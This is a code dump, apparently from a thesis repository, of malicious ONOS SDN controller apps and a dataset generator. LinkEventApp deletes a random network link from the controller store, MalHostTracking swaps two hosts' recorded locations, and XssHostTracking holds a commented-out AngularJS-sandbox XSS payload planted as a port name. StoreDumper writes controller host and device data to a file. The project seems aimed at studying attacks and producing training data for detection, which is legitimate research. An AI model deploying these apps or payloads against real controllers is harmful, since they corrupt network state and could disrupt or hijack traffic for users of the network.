124 | os.makedirs(directory)
125 | print("[ + ] Created output folder!")
126 | return
127 | print("[ + ] Output folder exists!")
128 |
129 |
130 | def create_datasets(cap_attacks, not_cap_attacks, count):
131 | entries = cap_attacks + not_cap_attacks
132 | random.shuffle(entries)
133 |
134 | resultA = []
135 | resultB = []
136 |
137 | for i in range(int(len(entries) / 100 * count)):
138 | resultA.append(entries[i])
139 |
140 | for i in range(int(len(entries) / 100 * count), len(entries)):
141 | resultB.append(entries[i])
142 |
143 | return (resultA, resultB)
144 |
145 |
146 | def write_file(file, input):
147 | with open(directory + file, "w+") as f:
148 | for i in input:
149 | f.write(i + "\n")
150 |
151 |
152 | # -------- ML-friendly data transformation --------
153 |
154 |
155 | def trasform(listA, listB):
156 | resultA = []
157 | resultB = []
158 | for strelem in listA:
159 | for elem in app_name:
160 | strelem = strelem.replace(elem, str(app_name[elem]))
161 | for elem in action_name:
162 | strelem = strelem.replace(elem, str(action_name[elem]))
163 | resultA.append(strelem)
164 |
165 | for strelem in listB:
166 | for elem in app_name:
167 | strelem = strelem.replace(elem, str(app_name[elem]))
168 | for elem in action_name:
169 | strelem = strelem.replace(elem, str(action_name[elem]))
170 | resultB.append(strelem)
171 |
172 | return (resultA, resultB)
173 |
174 |
175 | # -------- main --------
176 |
177 | if __name__ == "__main__":
178 | create_data_folder()
179 |
180 | cap_attacks = generate_cap_attacks()
181 | not_cap_attacks = generate_not_cap_attacks()
182 |
183 | listA, listB = create_datasets(cap_attacks, not_cap_attacks, 90)
184 |
185 | mlA, mlB = trasform(listA[:], listB[:])
186 |
187 | print("[ + ] Training files contain {} entries!".format(str(len(listA))))
188 | print("[ + ] Test files contain {} entries!".format(str(len(listB))))
189 |
190 | # write_file(training_out_file, listA)
191 | # write_file(test_out_file, listB)
192 | write_file(training_out_file_ml, mlA)
193 | write_file(test_out_file_ml, mlB)
194 |
--------------------------------------------------------------------------------
/apps/store-dumper-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 | org.onosproject.storedumper
21 | store-dumper-app
22 | 1.0-SNAPSHOT
23 | bundle
24 |
25 | ONOS OSGi bundle archetype
26 | http://onosproject.org
27 |
28 |
29 | 2.7.0
30 | org.onosproject.storedumper
31 | edoardottt
32 | storedumper App
33 | Monitoring
34 | http://onosproject.org
35 |
36 |
37 |
38 |
39 | org.onosproject
40 | onos-api
41 | ${onos.version}
42 |
43 |
44 |
45 | org.onosproject
46 | onlab-osgi
47 | ${onos.version}
48 |
49 |
50 |
51 | org.onosproject
52 | onlab-misc
53 | ${onos.version}
54 |
55 |
56 |
57 | org.slf4j
58 | slf4j-api
59 | 1.7.25
60 | provided
61 |
62 |
63 |
64 | com.google.guava
65 | guava
66 | 22.0
67 | provided
68 |
69 |
70 |
71 | com.fasterxml.jackson.core
72 | jackson-databind
73 | 2.12.7.1
74 | provided
75 |
76 |
77 |
78 | junit
79 | junit
80 | 4.13.1
81 | test
82 |
83 |
84 |
85 | org.onosproject
86 | onos-api
87 | ${onos.version}
88 | test
89 | tests
90 |
91 |
92 |
93 | org.osgi
94 | org.osgi.service.component.annotations
95 | 1.4.0
96 | provided
97 |
98 |
99 |
100 |
101 |
102 |
103 | org.apache.felix
104 | maven-bundle-plugin
105 | 3.5.0
106 | true
107 |
108 |
109 | org.apache.maven.plugins
110 | maven-compiler-plugin
111 | 3.8.0
112 |
113 | 1.8
114 | 1.8
115 |
116 |
117 |
118 | org.apache.felix
119 | maven-scr-plugin
120 | 1.26.0
121 |
122 |
123 | bundle
124 | war
125 |
126 |
127 |
128 |
129 | org.onosproject
130 | onos-maven-plugin
131 | 2.0
132 |
133 |
134 | cfg
135 | generate-resources
136 |
137 | cfg
138 |
139 |
140 |
141 | swagger
142 | generate-sources
143 |
144 | swagger
145 |
146 |
147 |
148 | app
149 | package
150 |
151 | app
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/apps/linkevent-app/src/main/java/org/linkevent/app/LinkEventApp.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2023-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 | package org.linkevent.app;
19 |
20 | import org.osgi.service.component.annotations.Activate;
21 | import org.osgi.service.component.annotations.Component;
22 | import org.osgi.service.component.annotations.Deactivate;
23 | import org.osgi.service.component.annotations.Reference;
24 | import org.osgi.service.component.annotations.ReferenceCardinality;
25 | import org.slf4j.Logger;
26 | import org.slf4j.LoggerFactory;
27 | import org.onosproject.core.CoreService;
28 | import org.onosproject.net.DefaultAnnotations;
29 | import org.onosproject.net.device.DeviceService;
30 | import org.onosproject.net.Device;
31 | import org.onosproject.net.host.HostService;
32 | import org.onosproject.net.host.HostStore;
33 | import org.onosproject.net.link.LinkStore;
34 | import org.onosproject.net.link.LinkEvent;
35 | import org.onosproject.net.host.HostEvent;
36 | import org.onosproject.net.Host;
37 | import org.onosproject.net.Link;
38 | import org.onosproject.net.HostId;
39 | import org.onosproject.net.HostLocation;
40 | import org.onosproject.net.DeviceId;
41 | import org.onosproject.core.ApplicationId;
42 | import org.onosproject.net.device.DeviceStore;
43 | import org.onosproject.net.Port;
44 | import org.onosproject.net.ConnectPoint;
45 | import org.onosproject.net.PortNumber;
46 | import org.onosproject.event.EventDeliveryService;
47 | import org.onosproject.net.device.DeviceEvent;
48 | import org.onosproject.event.Event;
49 | import org.onlab.packet.IpAddress;
50 | import org.onosproject.net.packet.PacketEvent;
51 | import org.onosproject.net.packet.DefaultOutboundPacket;
52 | import org.onosproject.net.flow.TrafficTreatment;
53 | import org.onosproject.net.flow.DefaultTrafficTreatment.Builder;
54 | import org.onosproject.net.flow.DefaultTrafficTreatment;
55 | import org.onlab.packet.ARP;
56 | import org.onlab.packet.Ethernet;
57 | import java.nio.ByteBuffer;
58 | import java.util.Timer;
59 | import org.onosproject.net.DefaultHost;
60 | import org.onosproject.net.packet.PacketService;
61 | import java.util.Random;
62 | import java.util.ArrayList;
63 | import java.util.List;
64 | import java.io.StringWriter;
65 | import java.io.PrintWriter;
66 | import org.onlab.packet.VlanId;
67 | import org.onlab.packet.MacAddress;
68 | import org.onosproject.net.provider.ProviderId;
69 | import org.onosproject.net.topology.TopologyEvent;
70 |
71 | import java.util.Set;
72 | import java.util.HashSet;
73 | import java.util.TimerTask;
74 |
75 | /**
76 | * LinkEvent Malicious ONOS Application.
77 | */
78 | @Component(immediate = true)
79 | public class LinkEventApp {
80 |
81 | enum Level {
82 | LOW,
83 | MEDIUM,
84 | HIGH
85 | }
86 |
87 | private final Logger log = LoggerFactory.getLogger(getClass());
88 |
89 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
90 | protected CoreService coreService;
91 |
92 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
93 | protected DeviceService deviceService;
94 |
95 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
96 | protected DeviceStore deviceStore;
97 |
98 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
99 | protected LinkStore linkStore;
100 |
101 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
102 | protected PacketService packetService;
103 |
104 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
105 | protected HostService hostService;
106 |
107 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
108 | protected EventDeliveryService eventDispatcher;
109 |
110 | Timer timer = new Timer();
111 | TimerTask timerTask = new TimerTask() {
112 | @Override
113 | public void run() {
114 | log.info("Time up, running Task!");
115 | dispatch();
116 | }
117 | };
118 |
119 | // --------------------------------------------------------
120 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS.
121 | // --------------------------------------------------------
122 | private static final long TIMEOUT = 10000;
123 |
124 | @Activate
125 | protected void activate() {
126 | coreService.registerApplication("org.edoardottt.linkevent.app", () -> log.info("Periscope down."));
127 | // startTimer(TIMEOUT);
128 | dispatch();
129 | log.info("Started linkevent App!");
130 | }
131 |
132 | @Deactivate
133 | protected void deactivate() {
134 | // timer.cancel();
135 | // timer.purge();
136 | log.info("Stopped linkevent App!");
137 | }
138 |
139 | // dispatch event.
140 | private void dispatch() {
141 | /*
142 | * Link l = pickRandomLink();
143 | * LinkEvent reason = new LinkEvent(LinkEvent.Type.LINK_REMOVED, l);
144 | * List reasons = new ArrayList<>();
145 | * reasons.add(reason);
146 | * // Topology t = new DefaultTopology(1, );
147 | * TopologyEvent te = new TopologyEvent(TopologyEvent.Type.TOPOLOGY_CHANGED,
148 | * null, reasons, 0);
149 | * eventDispatcher.post(te);
150 | * log.info(te.toString());
151 | */
152 |
153 | // directly remove link from LinkStore
154 | Link l = pickRandomLink();
155 | ConnectPoint src = l.src();
156 | ConnectPoint dst = l.dst();
157 | linkStore.removeLink(src, dst);
158 | log.info("LINK {} ({}, {}) removed!", l.toString(), src.toString(), dst.toString());
159 | }
160 |
161 | // startTimer starts a timer that timeouts every X seconds.
162 | private void startTimer(long timeout) {
163 | timer.scheduleAtFixedRate(timerTask, 0, timeout);
164 | }
165 |
166 | // pickRandomDevice picks a random device
167 | private Device pickRandomDevice() {
168 | Iterable devices = deviceService.getDevices();
169 | Random rand = new Random();
170 | List deviceList = new ArrayList();
171 | devices.forEach(deviceList::add);
172 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size()));
173 |
174 | return randomDevice;
175 | }
176 |
177 | // pickRandomLink picks a random infrastructure link
178 | private Link pickRandomLink() {
179 | Iterable i = linkStore.getLinks();
180 | Random rand = new Random();
181 | List links = new ArrayList ();
182 | i.forEach(links::add);
183 | Link randomLink = links.get(rand.nextInt(links.size()));
184 |
185 | return randomLink;
186 | }
187 |
188 | // pickRandomPort picks a random port of a device
189 | private Port pickRandomPort(List ports) {
190 | Random rand = new Random();
191 | Port randomPort = ports.get(rand.nextInt(ports.size()));
192 | while (randomPort.number() == PortNumber.LOCAL) {
193 | randomPort = ports.get(rand.nextInt(ports.size()));
194 | }
195 |
196 | return randomPort;
197 | }
198 |
199 | // getHost picks a random host
200 | private Host getHost(int i) {
201 | Iterable hosts = hostService.getHosts();
202 | List hostList = new ArrayList();
203 | hosts.forEach(hostList::add);
204 | Host randomHost = hostList.get(i);
205 |
206 | return randomHost;
207 | }
208 | }
209 |
--------------------------------------------------------------------------------
/apps/mal-host-tracking-app/src/main/java/org/edoardottt/malhosttracking/MalHostTracking.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.edoardottt.malhosttracking;
20 |
21 | import org.osgi.service.component.annotations.Activate;
22 | import org.osgi.service.component.annotations.Component;
23 | import org.osgi.service.component.annotations.Deactivate;
24 | import org.osgi.service.component.annotations.Reference;
25 | import org.osgi.service.component.annotations.ReferenceCardinality;
26 | import org.slf4j.Logger;
27 | import org.slf4j.LoggerFactory;
28 | import org.onosproject.core.CoreService;
29 | import org.onosproject.net.host.HostService;
30 | import org.onosproject.net.host.HostStore;
31 | import org.onosproject.net.Host;
32 | import org.onosproject.net.HostId;
33 | import org.onosproject.net.HostLocation;
34 | import org.onosproject.net.device.DeviceService;
35 | import org.onosproject.net.device.DeviceStore;
36 | import org.onosproject.net.Device;
37 | import org.onosproject.net.Port;
38 | import java.util.Timer;
39 | import java.util.Random;
40 | import java.util.ArrayList;
41 | import java.util.List;
42 | import java.util.Set;
43 | import java.util.TimerTask;
44 |
45 | /**
46 | * Malicious Host Tracking Application.
47 | */
48 | @Component(immediate = true)
49 | public class MalHostTracking {
50 |
51 | private final Logger log = LoggerFactory.getLogger(getClass());
52 |
53 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
54 | protected CoreService coreService;
55 |
56 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
57 | protected HostService hostService;
58 |
59 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
60 | protected HostStore hostStore;
61 |
62 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
63 | protected DeviceService deviceService;
64 |
65 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
66 | protected DeviceStore deviceStore;
67 |
68 | Timer timer = new Timer();
69 | TimerTask timerTask = new TimerTask() {
70 | @Override
71 | public void run() {
72 | log.info("Time up, running Task!");
73 | editHostStore();
74 | }
75 | };
76 |
77 | // --------------------------------------------------------
78 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS.
79 | // --------------------------------------------------------
80 | private static final long TIMEOUT = 10000;
81 |
82 | @Activate
83 | protected void activate() {
84 | coreService.registerApplication("org.edoardottt.malhosttracking.app", () -> log.info("Periscope down."));
85 | // startTimer(TIMEOUT);
86 | editHostStore();
87 | log.info("Started malhosttracking App!");
88 | }
89 |
90 | @Deactivate
91 | protected void deactivate() {
92 | // timer.cancel();
93 | // timer.purge();
94 | log.info("Stopped malhosttracking App!");
95 | }
96 |
97 | // editHostStore mess up with the Host Data Store.
98 | private void editHostStore() {
99 | /*
100 | * // --- ORIGINAL CODE ---
101 | * getHosts();
102 | * HostId hId = pickRandomHost().id();
103 | * emptyLocation(hId);
104 | * DeviceId dId = pickRandomDevice().id();
105 | * List ports = deviceStore.getPorts(dId);
106 | * PortNumber pNumber = pickRandomPort(ports).number();
107 | * HostLocation hl = new HostLocation(dId, pNumber, 0);
108 | * hostStore.appendLocation(hId, hl);
109 | * log.info("Malicious Host Tracking App: Host {} connected to device {}",
110 | * hId.toString(), dId.toString());
111 | * getHosts();
112 | */
113 |
114 | // --- SWITCH LOCATIONS OF TWO HOSTS ---
115 | getHosts();
116 | HostId h1 = getHost(2).id();
117 | HostId h4 = getHost(0).id();
118 | getHosts();
119 | log.info("Malicious Host Tracking App: Selected host {} and host {}", h1, h4);
120 | Set locationsH4 = getLocations(h4);
121 | Set locationsH1 = getLocations(h1);
122 | log.info("Malicious Host Tracking App: Locations {} and {}", locationsH1, locationsH4);
123 | HostLocation newLocationH4 = locationsH1.iterator().next();
124 | HostLocation newLocationH1 = locationsH4.iterator().next();
125 | hostStore.appendLocation(h4, newLocationH4);
126 | hostStore.appendLocation(h1, newLocationH1);
127 | log.info("Malicious Host Tracking App: Locations {} and {}", getLocations(h1), getLocations(h4));
128 | hostStore.removeLocation(h1, newLocationH4);
129 | hostStore.removeLocation(h4, newLocationH1);
130 | log.info("Malicious Host Tracking App: Locations successfully poisoned: {} and {}", getLocations(h1),
131 | getLocations(h4));
132 | }
133 |
134 | // startTimer starts a timer that timeouts every X seconds.
135 | private void startTimer(long timeout) {
136 | timer.scheduleAtFixedRate(timerTask, 0, timeout);
137 | }
138 |
139 | private Set getLocations(HostId hID) {
140 | Host h = hostService.getHost(hID);
141 | Set locations = h.locations();
142 | return locations;
143 | }
144 |
145 | private void emptyLocation(HostId hID) {
146 | Host h = hostService.getHost(hID);
147 | Set locations = h.locations();
148 | for (HostLocation location : locations) {
149 | hostStore.removeLocation(hID, location);
150 | }
151 | }
152 |
153 | // pickRandomHost picks a random host
154 | private Host pickRandomHost() {
155 | Iterable hosts = hostService.getHosts();
156 | Random rand = new Random();
157 | List hostList = new ArrayList();
158 | hosts.forEach(hostList::add);
159 | Host randomHost = hostList.get(rand.nextInt(hostList.size()));
160 |
161 | return randomHost;
162 | }
163 |
164 | // getHost picks a random host
165 | private Host getHost(int i) {
166 | Iterable hosts = hostService.getHosts();
167 | List hostList = new ArrayList();
168 | hosts.forEach(hostList::add);
169 | Host randomHost = hostList.get(i);
170 |
171 | return randomHost;
172 | }
173 |
174 | // getHosts
175 | private void getHosts() {
176 | Iterable hosts = hostService.getHosts();
177 | List hostList = new ArrayList();
178 | hosts.forEach(hostList::add);
179 | for (int i = 0; i < hostList.size(); i++) {
180 | log.info(hostList.get(i).toString());
181 | }
182 | }
183 |
184 | // pickRandomDevice picks a random device
185 | private Device pickRandomDevice() {
186 | Iterable devices = deviceService.getDevices();
187 | Random rand = new Random();
188 | List deviceList = new ArrayList();
189 | devices.forEach(deviceList::add);
190 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size()));
191 |
192 | return randomDevice;
193 | }
194 |
195 | // getDeviceHosts() logs all the connected hosts for all the devices.
196 | private void getDeviceHosts() {
197 | Iterable devices = deviceService.getDevices();
198 | List deviceList = new ArrayList();
199 | devices.forEach(deviceList::add);
200 | for (Device d : deviceList) {
201 | Set hosts = hostService.getConnectedHosts(d.id());
202 | log.info("Hosts connected to device {} : {}", d.id(), hosts.toString());
203 | }
204 | }
205 |
206 | // pickRandomPort picks a random port of a device
207 | private Port pickRandomPort(List ports) {
208 | Random rand = new Random();
209 | Port randomPort = ports.get(rand.nextInt(ports.size()));
210 |
211 | return randomPort;
212 | }
213 | }
214 |
--------------------------------------------------------------------------------
/apps/store-dumper-app/src/main/java/org/onosproject/storedumper/StoreDumper.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.onosproject.storedumper;
20 |
21 | import org.osgi.service.component.annotations.Activate;
22 | import org.osgi.service.component.annotations.Component;
23 | import org.osgi.service.component.annotations.Deactivate;
24 | import org.osgi.service.component.annotations.Reference;
25 | import org.osgi.service.component.annotations.ReferenceCardinality;
26 | import org.onosproject.core.CoreService;
27 | import org.onosproject.net.Host;
28 | import org.onosproject.net.host.HostService;
29 | import org.onosproject.net.host.HostStore;
30 | import org.onosproject.net.device.DeviceService;
31 | import org.onosproject.net.device.DeviceStore;
32 | import org.onosproject.net.Device;
33 | import org.onosproject.net.packet.PacketStore;
34 | import org.onosproject.net.statistic.StatisticStore;
35 | import org.onosproject.net.resource.ResourceStore;
36 | import org.onosproject.net.region.RegionStore;
37 | import org.onosproject.net.meter.MeterStore;
38 | import org.onosproject.net.link.LinkStore;
39 | import org.onosproject.net.key.DeviceKeyStore;
40 | import org.onosproject.net.intent.IntentStore;
41 | import org.onosproject.net.group.GroupStore;
42 | import org.onosproject.net.flowobjective.FlowObjectiveStore;
43 | import org.onosproject.net.flow.FlowRuleStore;
44 | import org.onosproject.net.config.NetworkConfigStore;
45 | import org.onosproject.cluster.ClusterStore;
46 | import org.onosproject.app.ApplicationIdStore;
47 | import java.util.ArrayList;
48 | import java.util.List;
49 | import java.util.Timer;
50 | import java.util.TimerTask;
51 | import java.text.SimpleDateFormat;
52 | import java.io.File;
53 | import java.io.BufferedWriter;
54 | import java.io.PrintWriter;
55 | import java.io.StringWriter;
56 | import java.io.FileWriter;
57 | import java.io.IOException;
58 | import org.slf4j.Logger;
59 | import org.slf4j.LoggerFactory;
60 |
61 | /**
62 | * Store Dumper.
63 | */
64 | @Component(immediate = true)
65 | public class StoreDumper {
66 |
67 | private final Logger log = LoggerFactory.getLogger(getClass());
68 |
69 | // --------------------------------------------------------
70 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS.
71 | // --------------------------------------------------------
72 | private static final long TIMEOUT = 60000;
73 |
74 | // --------------------------------------------------------
75 | // CHANGE THIS PARAMETER TO WRITE IN A DIFFERENT FILE.
76 | // --------------------------------------------------------
77 | private static final String FILENAME = "/home/edoardottt/cybersecurity/thesis/onos-store.dump";
78 |
79 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
80 | protected CoreService coreService;
81 |
82 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
83 | protected HostService hostService;
84 |
85 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
86 | protected HostStore hostStore;
87 |
88 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
89 | protected DeviceService deviceService;
90 |
91 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
92 | protected DeviceStore deviceStore;
93 |
94 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
95 | protected PacketStore packetStore;
96 |
97 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
98 | protected StatisticStore statisticStore;
99 |
100 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
101 | protected ResourceStore resourceStore;
102 |
103 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
104 | protected RegionStore regionStore;
105 |
106 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
107 | protected MeterStore meterStore;
108 |
109 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
110 | protected LinkStore linkStore;
111 |
112 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
113 | protected DeviceKeyStore deviceKeyStore;
114 |
115 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
116 | protected IntentStore intentStore;
117 |
118 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
119 | protected GroupStore groupStore;
120 |
121 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
122 | protected FlowObjectiveStore flowObjectiveStore;
123 |
124 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
125 | protected FlowRuleStore flowRuleStore;
126 |
127 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
128 | protected NetworkConfigStore networkConfigStore;
129 |
130 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
131 | protected ClusterStore clusterStore;
132 |
133 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
134 | protected ApplicationIdStore applicationIdStore;
135 |
136 | Timer timer = new Timer();
137 | TimerTask timerTask = new TimerTask() {
138 | @Override
139 | public void run() {
140 | log.info("Time up, running Task!");
141 | dump();
142 | }
143 | };
144 |
145 | @Activate
146 | protected void activate() {
147 | coreService.registerApplication("org.edoardottt.storedumper.app", () -> log.info("Periscope down."));
148 | startTimer(TIMEOUT);
149 | log.info("Started storedumper App!");
150 | }
151 |
152 | @Deactivate
153 | protected void deactivate() {
154 | timer.cancel();
155 | timer.purge();
156 | log.info("Stopped storedumper App!");
157 | }
158 |
159 | // startTimer starts a timer that timeouts every X seconds.
160 | private void startTimer(long timeout) {
161 | timer.scheduleAtFixedRate(timerTask, 0, timeout);
162 | }
163 |
164 | private void dump() {
165 | createFile();
166 | String timeStamp = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new java.util.Date());
167 | writeToFile("=========================== " + timeStamp + " ===========================");
168 | dumpHosts();
169 | dumpDevices();
170 | }
171 |
172 | // dumpHosts
173 | private void dumpHosts() {
174 | writeToFile("------------ HOSTS DUMP ------------");
175 | Iterable hosts = hostService.getHosts();
176 | List hostList = new ArrayList();
177 | hosts.forEach(hostList::add);
178 | for (int i = 0; i < hostList.size(); i++) {
179 | writeToFile(hostList.get(i).toString());
180 | }
181 | }
182 |
183 | // dumpDevices
184 | private void dumpDevices() {
185 | writeToFile("------------ DEVICES DUMP ------------");
186 | Iterable devices = deviceService.getDevices();
187 | List deviceList = new ArrayList();
188 | devices.forEach(deviceList::add);
189 | for (int i = 0; i < deviceList.size(); i++) {
190 | writeToFile(deviceList.get(i).toString());
191 | }
192 | }
193 |
194 | private File createFile() {
195 | try {
196 | File myObj = new File(FILENAME);
197 | if (!myObj.exists()) {
198 | myObj.createNewFile();
199 | }
200 | return myObj;
201 | } catch (Exception e) {
202 | log.info("ONOS-DT | Error while creating file {}", FILENAME);
203 | e.printStackTrace();
204 | }
205 |
206 | return null;
207 | }
208 |
209 | private void writeToFile(String content) {
210 | try {
211 | FileWriter fw = new FileWriter(FILENAME, true);
212 | BufferedWriter bw = new BufferedWriter(fw);
213 | PrintWriter out = new PrintWriter(bw);
214 | out.println(content + "\n");
215 | out.close();
216 | log.info("Successfully wrote to the file!");
217 | } catch (IOException e) {
218 | log.info("Error while writing to file {}", FILENAME);
219 | StringWriter sw = new StringWriter();
220 | PrintWriter pw = new PrintWriter(sw);
221 | e.printStackTrace(pw);
222 | log.info(sw.toString());
223 | }
224 | }
225 | }
226 |
--------------------------------------------------------------------------------
/apps/trash/xss-host-tracking-app/src/main/java/org/onosproject/xsshosttracking/XssHostTracking.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 | package org.onosproject.xsshosttracking;
17 |
18 | import org.osgi.service.component.annotations.Activate;
19 | import org.osgi.service.component.annotations.Component;
20 | import org.osgi.service.component.annotations.Deactivate;
21 | import org.osgi.service.component.annotations.Reference;
22 | import org.osgi.service.component.annotations.ReferenceCardinality;
23 | import org.slf4j.Logger;
24 | import org.slf4j.LoggerFactory;
25 | import org.onosproject.core.CoreService;
26 | import org.onosproject.net.host.HostService;
27 | import org.onosproject.net.host.HostStore;
28 | import org.onosproject.net.Host;
29 | import org.onosproject.net.HostId;
30 | import org.onosproject.net.HostLocation;
31 | import org.onosproject.net.device.DeviceService;
32 | import org.onosproject.net.device.DeviceStore;
33 | import org.onosproject.net.Device;
34 | import org.onosproject.net.DeviceId;
35 | import org.onosproject.net.Port;
36 | import org.onosproject.net.PortNumber;
37 | import org.onosproject.core.ApplicationId;
38 | import java.util.Timer;
39 | import java.util.Random;
40 | import java.util.ArrayList;
41 | import java.util.List;
42 | import java.util.Set;
43 | import java.util.TimerTask;
44 | import org.onosproject.net.device.DefaultPortDescription;
45 |
46 | /**
47 | * XSS Host Tracking Application.
48 | */
49 | @Component(immediate = true)
50 | public class XssHostTracking {
51 |
52 | private final Logger log = LoggerFactory.getLogger(getClass());
53 |
54 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
55 | protected CoreService coreService;
56 |
57 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
58 | protected HostService hostService;
59 |
60 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
61 | protected HostStore hostStore;
62 |
63 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
64 | protected DeviceService deviceService;
65 |
66 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
67 | protected DeviceStore deviceStore;
68 |
69 | Timer timer = new Timer();
70 | TimerTask timerTask = new TimerTask() {
71 | @Override
72 | public void run() {
73 | log.info("Time up, running Task!");
74 | editHostStore();
75 | }
76 | };
77 |
78 | // --------------------------------------------------------
79 | // CHANGE THIS PARAMETER TO TRIGGER THE APP EVERY X MILLISECONDS.
80 | // --------------------------------------------------------
81 | private static final long TIMEOUT = 10000;
82 |
83 | @Activate
84 | protected void activate() {
85 | coreService.registerApplication("org.edoardottt.xsshosttracking.app", () -> log.info("Periscope down."));
86 | // startTimer(TIMEOUT);
87 | editHostStore();
88 | log.info("Started xsshosttracking App!");
89 | }
90 |
91 | @Deactivate
92 | protected void deactivate() {
93 | // timer.cancel();
94 | // timer.purge();
95 | log.info("Stopped xsshosttracking App!");
96 | }
97 |
98 | // editHostStore mess up with the Host Data Store.
99 | private void editHostStore() {
100 |
101 | // --- INJECT XSS PAYLOAD IN HOST LOCATION ---
102 | /*
103 | * getHosts();
104 | * HostId h1 = getHost(0).id();
105 | * getHosts();
106 | * log.info("XSS Host Tracking App: Selected host {}", h1);
107 | * Set locationsH1 = getLocations(h1);
108 | * log.info("XSS Host Tracking App: Locations {}", locationsH1);
109 | * HostLocation oldLocationH1 = locationsH1.iterator().next();
110 | * // here create newLocationH1
111 | * Iterable devices = deviceService.getDevices();
112 | * DeviceId s1 = devices.iterator().next().id();
113 | * PortNumber pn = PortNumber.portNumber(1337,
114 | * "\"{{1+1}} {{7*7}} {{\'a\'.constructor.prototype.charAt=[].join;eval(\'x=1} } };alert(1)//\');}} , , img src=# usemap=#foo width=100%> "
115 | * );
116 | * HostLocation newLocationH1 = new HostLocation(s1, pn,
117 | * System.currentTimeMillis());
118 | * hostStore.appendLocation(h1, newLocationH1);
119 | * log.info("XSS Host Tracking App: Locations {}", getLocations(h1));
120 | * hostStore.removeLocation(h1, oldLocationH1);
121 | * log.info("XSS Host Tracking App: Locations {}", getLocations(h1));
122 | */
123 | Iterable devices = deviceService.getDevices();
124 | DeviceId s1 = devices.iterator().next().id();
125 | List pd = new ArrayList();
126 | DefaultPortDescription dpd = DefaultPortDescription.builder().build();
127 | pd.add(dpd);
128 | deviceStore.updatePorts(ProviderId.NONE, s1, pd);
129 | }
130 |
